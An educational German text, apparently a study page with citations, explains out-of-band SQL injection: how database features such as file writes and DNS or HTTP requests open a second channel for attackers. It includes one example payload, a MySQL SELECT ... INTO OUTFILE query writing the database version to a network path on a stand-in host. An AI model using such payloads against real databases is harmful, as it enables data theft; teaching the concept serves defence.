Out-of-Band

Im Normalfall erfolgt eine Kommunikation über den gleichen Übertragungsweg. Dies bedeutet, dass eine Abfrage über denselben Übertragungskanal erfolgt, wie letztendlich der Empfang stattfindet. Weicht man von dieser Art des Übertragungsweges bei einer Kommunikation ab, spricht man von out-of-band. Ein klassisches Beispiel für eine solche Injection ist das schreiben in ein vom Angreifer kontrolliertes File System. (1)

Beispiel - MySql: SELECT version() INTO OUTFILE '////10.0.2.15//test.txt'

Dies ist nur möglich, da viele Datenbankserver moderne Funktionen zur Verfügung stellen. Beispielsweise können neben der Standard-Aufgabe der Datenrückgabe einer Anfrage an einen Benutzer auch Verbindungen zu anderen Datenbanken aufgebaut werden, die weitere Informationen bereitstellen und liefern können. Weiterhin können moderne Datenbankserver automatisiert E-Mails versenden, sofern bestimmte Ergebnisse eintreten. Diese Funktion ist aufgrund der Zusammenarbeit mit dem Dateisystem entstanden. (2)

Aufgrund der Vielzahl der neuen Möglichkeiten wurden Angreifern neue Türen geöffnet. Wird vom Angreifer ein anderer Übertragungskanal als der Standard für den jeweiligen Angriff verwendet, spricht man von out-of-band-Injection. Eine Funktion, die für diese Art von Injection zur Verfügung stehen muss, ist die Bereitstellung einer Netzwerkanfrage (z.B. über DNS oder HTTP) durch den Datenbankserver. Damit wird die Datenübermittlung realisiert. (3)

Die Verwendung eines anderen Kanals stellt vor allem in der Forensik einen wichtigen Bestandteil dar, da diese Form eine Besonderheit in der Blind-SQL Injection darstellt. Prinzipiell wird das Auffinden bzw. Verwenden von out-of-band-Injections seltener vorkommen als andere. Gründe hierfür sind, dass die Verwendungsmöglichkeit von out-of-band stark vom eingesetzten Datenbankmanagementsystem und dessen aktivierten Funktionen abhängt. Auch die Rechte von Usern können hinderlich sein, diese können jedoch – je nachdem, ob das System für SQL-Injections anfällig ist – verändert werden. (4)

Zusätzlich zu den DBMS-Einstellungen erschwert die Tatsache, dass ein separater Antwortkanal benötigt wird, einen Angriff. Die schwer zu haltende Anonymität des Kanals ist zudem ein weiterer Schwierigkeitsfaktor für einen Angriff. (5)




(1) | Vgl. Christian Hense, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32

(2) | Vgl. Justin Clarke, SQL Hacking: SQL-Injektion auf relationale Datenbanken im Detail verstehen und abwehren, Franzis Verlag, 2016, S. 223

(3) | Vgl. Christian Hense, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32

(4) | Vgl. Christian Hense, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32

(5) | Vgl. Christian Hense, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32